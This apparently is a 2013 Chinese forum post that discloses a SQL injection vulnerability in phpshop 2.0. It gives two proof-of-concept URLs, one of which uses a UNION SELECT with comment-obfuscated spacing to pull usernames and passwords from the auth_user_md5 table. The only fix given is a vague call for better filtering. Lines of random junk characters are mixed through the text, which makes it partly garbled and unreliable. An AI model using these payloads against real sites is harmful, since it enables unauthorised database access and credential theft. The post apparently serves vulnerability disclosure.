标题 : phpshop 2.0 SQL Injection Vulnerability
3 [$ p% V" D. p+ T+ B' M" _ A. z
5 }8 I8 N- {7 S" Q: D作者 : By onestree2 ]. P) V0 |" S3 h9 ~$ z: W l
下载地址 : http://code.google.com/p/phpshop/downloads/list: r V6 i4 r/ l! X4 e% r) e) ]
测试地址: windows 7 / ubuntu
9 K9 f1 y$ B! z C + D$ x, h- b# {- G- ?' X* p
: d' ^' a) \% }+ zSQLi p0c:
: \ e: U1 D( @3 U/ G9 y
1 X2 }+ _ @/ I# e0 D==================
7 ?7 b7 y; c' Z$ C* _5 i7 U3 g
7 J! Q+ z; I8 o( Chttp://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
8 d* b# w$ g: s, b* W- tunion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
/ M: V* K9 @, J+ {
6 y) ~% f! W" |: }2 thttp://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--+ f8 A P3 o1 x1 ^8 _- a; H
, `$ Y( v* W6 |7 E修复：
, v v$ d. {* d加强过滤
7 c9 n9 L/ P9 e+ {7 E
4 ]# X1 N7 Z" d2 X9 p" u5 X% n; r8 i. W+ t# X% W# q7 |# T
|
发表于 2013-1-18 18:24:10
收藏
支持
反对